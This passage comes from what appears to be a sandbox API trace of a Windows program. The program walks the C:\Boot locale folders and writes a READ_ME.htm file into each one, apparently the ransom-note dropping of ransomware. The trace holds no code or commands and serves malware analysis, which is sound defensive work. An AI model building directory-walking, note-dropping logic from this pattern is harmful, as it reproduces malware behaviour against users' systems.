ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.694] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.694] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.694] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.695] SetErrorMode (uMode=0x0) returned 0x1 [0130.695] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.695] SetErrorMode (uMode=0x1) returned 0x0 [0130.695] CreateFileW (lpFileName="C:\\Boot\\it-IT\\READ_ME.htm" (normalized: "c:\\boot\\it-it\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.696] GetFileType (hFile=0x1bc) returned 0x1 [0130.696] SetErrorMode (uMode=0x0) returned 0x1 [0130.696] GetFileType (hFile=0x1bc) returned 0x1 [0130.697] WriteFile (in: hFile=0x1bc, lpBuffer=0x2893970*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2893970*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.699] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0130.700] SetErrorMode (uMode=0x1) returned 0x0 [0130.700] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*" (normalized: "c:\\boot\\ja-jp\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.701] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.701] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.701] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.702] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.702] SetErrorMode (uMode=0x0) returned 0x1 [0130.702] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0130.703] SetErrorMode (uMode=0x1) returned 0x0 [0130.703] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*" (normalized: "c:\\boot\\ja-jp\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.703] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.704] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.704] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.704] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.704] SetErrorMode (uMode=0x0) returned 0x1 [0130.705] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.705] SetErrorMode (uMode=0x1) returned 0x0 [0130.705] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\READ_ME.htm" (normalized: "c:\\boot\\ja-jp\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.706] GetFileType (hFile=0x1bc) returned 0x1 [0130.706] SetErrorMode (uMode=0x0) returned 0x1 [0130.706] GetFileType (hFile=0x1bc) returned 0x1 [0130.707] WriteFile (in: hFile=0x1bc, lpBuffer=0x2899790*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2899790*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.708] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0130.709] SetErrorMode (uMode=0x1) returned 0x0 [0130.709] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*" (normalized: "c:\\boot\\ko-kr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.709] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.709] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.710] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.710] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.710] SetErrorMode (uMode=0x0) returned 0x1 [0130.710] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0130.711] SetErrorMode (uMode=0x1) returned 0x0 [0130.711] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*" (normalized: "c:\\boot\\ko-kr\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.711] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.712] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.712] SetErrorMode (uMode=0x0) returned 0x1 [0130.712] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.712] SetErrorMode (uMode=0x1) returned 0x0 [0130.712] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\READ_ME.htm" (normalized: "c:\\boot\\ko-kr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.713] SetErrorMode (uMode=0x0) returned 0x1 [0130.713] GetFileType (hFile=0x1bc) returned 0x1 [0130.714] WriteFile (in: hFile=0x1bc, lpBuffer=0x289f5b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x289f5b0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.716] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0130.716] SetErrorMode (uMode=0x1) returned 0x0 [0130.717] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*" (normalized: "c:\\boot\\nb-no\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.717] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.717] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.717] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.718] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.718] SetErrorMode (uMode=0x0) returned 0x1 [0130.718] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0130.719] SetErrorMode (uMode=0x1) returned 0x0 [0130.719] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*" (normalized: "c:\\boot\\nb-no\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.719] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.719] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.720] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.720] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.720] SetErrorMode (uMode=0x0) returned 0x1 [0130.721] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\READ_ME.htm", lpFilePart=0x0) returned 0x19 [0130.721] SetErrorMode (uMode=0x1) returned 0x0 [0130.721] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\READ_ME.htm" (normalized: "c:\\boot\\nb-no\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.722] SetErrorMode (uMode=0x0) returned 0x1 [0130.722] GetFileType (hFile=0x1bc) returned 0x1 [0130.723] WriteFile (in: hFile=0x1bc, lpBuffer=0x28a53d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28a53d0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.724] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0130.724] SetErrorMode (uMode=0x1) returned 0x0 [0130.724] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*" (normalized: "c:\\boot\\nl-nl\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.729] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.730] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.730] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0130.730] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.730] SetErrorMode (uMode=0x0) returned 0x1 [0130.730] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0130.730] SetErrorMode (uMode=0x1) returned 0x0 [0130.731] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*" (normalized: "c:\\boot\\nl-nl\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0130.731] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, 